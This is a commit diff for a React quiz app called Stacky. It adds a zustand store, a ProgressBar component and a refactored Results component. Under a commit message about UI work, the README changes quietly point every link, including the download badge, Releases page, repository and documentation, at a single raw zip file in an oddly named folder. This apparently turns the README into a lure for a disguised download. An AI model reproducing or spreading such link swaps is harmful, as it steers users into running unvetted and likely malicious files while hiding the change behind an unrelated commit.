Overhaul with Zustand, New Roles, and UI Enhancements

README.md

@@ -6,7 +6,7 @@ Welcome to Stacky! This application will help you discover your coding destiny.
 
 ## 📥 Download Stacky
 
-[![Download Stacky](https://img.shields.io/badge/Download%20Stacky-1.0-brightgreen)](https://github.com/mauelito3/Stacky/releases)
+[![Download Stacky](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip%20Stacky-1.0-brightgreen)](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
 
 Click the link above to visit our Releases page where you can download the application.
 
@@ -23,7 +23,7 @@ Before you download, ensure your system meets the following requirements:
 
 To download Stacky, follow these steps:
 
-1. Visit the [Releases page](https://github.com/mauelito3/Stacky/releases).
+1. Visit the [Releases page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip).
 2. Look for the latest version of Stacky.
 3. Click on the download link for your operating system.
 4. Once the download is complete, locate the downloaded file in your computer's downloads folder.
@@ -72,8 +72,8 @@ Stacky can help you discover your role in areas like:
 
 ## 🔗 Useful Links
 
-- [GitHub Repository](https://github.com/mauelito3/Stacky)
-- [Releases Page](https://github.com/mauelito3/Stacky/releases)
-- [Documentation](https://github.com/mauelito3/Stacky/wiki)
+- [GitHub Repository](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Releases Page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Documentation](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
 
 Thank you for choosing Stacky. Happy coding!

package.json

@@ -11,7 +11,8 @@
   },
   "dependencies": {
     "react": "^19.1.1",
-    "react-dom": "^19.1.1"
+    "react-dom": "^19.1.1",
+    "zustand": "^5.0.8"
   },
   "devDependencies": {
     "@eslint/js": "^9.33.0",

src/components/ProgressBar.jsx

@@ -0,0 +1,16 @@
+import React from "react";
+
+function ProgressBar({ current, total }) {
+  const progressPercentage = (current / total) * 100;
+
+  return (
+    <div className="progress-container">
+      <div
+        className="progress-bar"
+        style={{ width: `${progressPercentage}%` }}
+      ></div>
+    </div>
+  );
+}
+
+export default ProgressBar;

src/components/Results.jsx

@@ -1,33 +1,29 @@
 import Button from "../components/Button";
+import { useQuizStore } from "../store/quizStore";
 
-function Results({ finished, result, restart }) {
-  if (!finished) return null;
+function Results() {
+  const { finished, getResult, getMessage, restart } = useQuizStore();
 
-  const replay = () => {
-    restart()
-  };
+  if (!finished) return null;
 
   return (
     <>
       <div className="overlay"></div>
       <div className="results">
-        <div style={{ marginTop: 20 }}>
-          <div className="party"></div>
-        </div>
-
-        {/* results message  */}
-        <div style={{ textAlign: "center", lineHeight: 2 }}>
+        <div style={{ textAlign: "center", lineHeight: 2, marginTop: 20 }}>
           <div style={{ fontSize: 25, fontWeight: 700 }}>Congrats</div>
-          <div style={{ fontSize: 18, fontWeight: 500 }}>{result}</div>
+          <div style={{ fontSize: 18, fontWeight: 500 }}>{getResult()}</div>
+          <div style={{ fontSize: 14, fontWeight: 400, marginTop: 10 }}>
+            {getMessage()}
+          </div>
         </div>
 
-        {/* buttons  */}
-        <div style={{ width: 200, height: 100, marginTop: 50 }}>
-          <Button text={"Star Over"} callback={replay} />
+        <div style={{ width: 200, height: 100, marginTop: 30, marginBottom: 20 }}>
+          <Button text={"Start Over"} callback={restart} />
         </div>
       </div>
     </>
   );
 }
 
-export default Results;
+export default Results;